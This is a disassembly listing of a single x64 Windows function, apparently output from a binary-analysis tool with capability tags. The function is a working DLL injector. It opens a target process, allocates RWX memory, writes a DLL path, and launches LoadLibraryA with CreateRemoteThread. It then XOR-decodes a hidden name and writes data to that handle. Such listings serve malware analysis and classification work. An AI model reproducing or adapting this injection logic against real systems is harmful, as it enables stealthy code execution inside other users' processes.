Function at 0x140001230
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov rbx, rdx
xor r14d, r14d
mov esi, r14d
mov dword [rsp + 0x40], r14d
cmp ecx, 4
jne 0x1400012a1
mov rdi, qword [rdx + 8]
mov rcx, qword [rdx + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r15d, eax
mov r13, qword [rbx + 0x18]
cmp eax, 0xffffffff
jne 0x1400012d6
lea rcx, str.An_error_is_occured_when_trying_to_find_the_target_process._n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.1400025a0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r9d, r9d
lea r8, [rbp + 0xd0]
mov edx, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x1400012fb
lea rcx, str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
jmp 0x14000129c
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001320
lea rcx, str.An_error_is_occured_when_trying_to_open_the_target_process._n
jmp 0x14000129c
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r8, eax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x14000135f
lea rcx, str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
jmp 0x14000129c
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r9, eax
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0xd0]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001399
lea rcx, str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x14000129c
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400012a1
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400013d5
lea rcx, str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x14000129c
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
jne 0x140001407
lea rcx, str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x14000129c
mov r14d, 0x3e8
mov rax, qword gs:[0x58]
mov r12d, 0x130
add r12, qword [rax]
mov ebx, 0x138
add rbx, qword [rax]
lea rdi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
nop
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140004790]
mov qword [rbp - 0x30], rax
lea rax, [0x1400046f0]
mov qword [rbp - 0x20], rax
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or esi, 1
mov dword [rsp + 0x40], esi
xor r8d, r8d
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x30], rdi
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x18], rax
xor edi, edi
mov qword [rbp + 0x50], rdi
mov dword [rbp + 0x58], edi
movdqa xmm0, xmmword [0x1400047a0]
mov word [rsp + 0x78], 0xdbfe
mov eax, dword [r12]
test al, 1
jne 0x140001519
or eax, 1
mov dword [r12], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rsp + 0x79]
cmp rbx, rcx
ja 0x140001500
lea rcx, [rsp + 0x68]
cmp rax, rcx
jb 0x140001500
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x78]
mov word [rbx + 0x10], ax
jmp 0x14000150c
movups xmmword [rbx], xmm0
movzx eax, word [rsp + 0x78]
mov word [rbx + 0x10], ax
lea rcx, [0x140003690]
call fcn.1400026d8
nop
cmp byte [rbx + 0x12], 0
je 0x14000156a
xor byte [rbx], 0xd3
xor byte [rbx + 1], 0xdb
xor byte [rbx + 2], 0x59
xor byte [rbx + 3], 0xeb
xor byte [rbx + 4], 0xeb
xor byte [rbx + 5], 0xf7
xor byte [rbx + 6], 0x69
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0xd3
xor byte [rbx + 9], 0xdb
xor byte [rbx + 0xa], 0x59
xor byte [rbx + 0xb], 0xeb
xor byte [rbx + 0xc], 0xeb
xor byte [rbx + 0xd], 0xf7
xor byte [rbx + 0xe], 0x69
xor byte [rbx + 0xf], 7
xor byte [rbx + 0x10], 0xd3
xor byte [rbx + 0x11], 0xdb
mov byte [rbx + 0x12], 0
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.140001f70
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140001585
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x20]
call fcn.140002320
mov rcx, rax
mov edx, r15d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400015dd
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001774
call fcn.1400025fc
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
or esi, 4
mov dword [rsp + 0x40], esi
mov ecx, dword [rbp + 0x58]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140001628
mov rax, qword [rbp + 0x28]
mov rdi, qword [rax]
test rdi, rdi
je 0x140001628
mov rax, qword [rbp + 8]
mov r9, qword [rax]
cmp rdi, qword [rbp + 0x50]
cmovb rdi, qword [rbp + 0x50]
jmp 0x14000164a
test cl, 4
jne 0x14000167f
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000167f
mov rax, qword [rbp]
mov r9, qword [rax]
mov rax, qword [rbp + 0x38]
movsxd rdi, dword [rax]
add rdi, rcx
mov rax, r9
sub rdi, r9
test rax, rax
je 0x14000167f
lea rcx, [rsp + 0x48]
cmp rdi, 0xf
ja 0x140001677
mov qword [rsp + 0x58], rdi
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rdi + 0x48], 0
jmp 0x14000167f
mov rdx, rdi
call fcn.1400021e0
and esi, 0xfffffffb
or esi, 2
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rcx, qword [rsp + 0x48]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400016fa
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000177b
call fcn.1400025fc
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
cmp rdi, 0xffffffffffffffff
jne 0x140001782
lea ecx, [rdi + 0xb]
call qword [sym.imp.KERNEL32.dll_Sleep]
dec r14d
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x30], rdi
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x18]
call fcn.140001e50
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
test r14d, r14d
jg 0x140001430
jmp 0x1400012a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x98]
mov dword [rbp + rcx - 0x34], r8d
lea rcx, [rbp - 0x18]
call fcn.140001e50
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, r13
lea rcx, [rbp - 0x58]
call fcn.140001f70
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdx, qword [rbp - 0x58]
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x60]
mov r8d, dword [rbp - 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140001842
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000183d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000183d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400025fc
xor eax, eax
jmp 0x1400012a6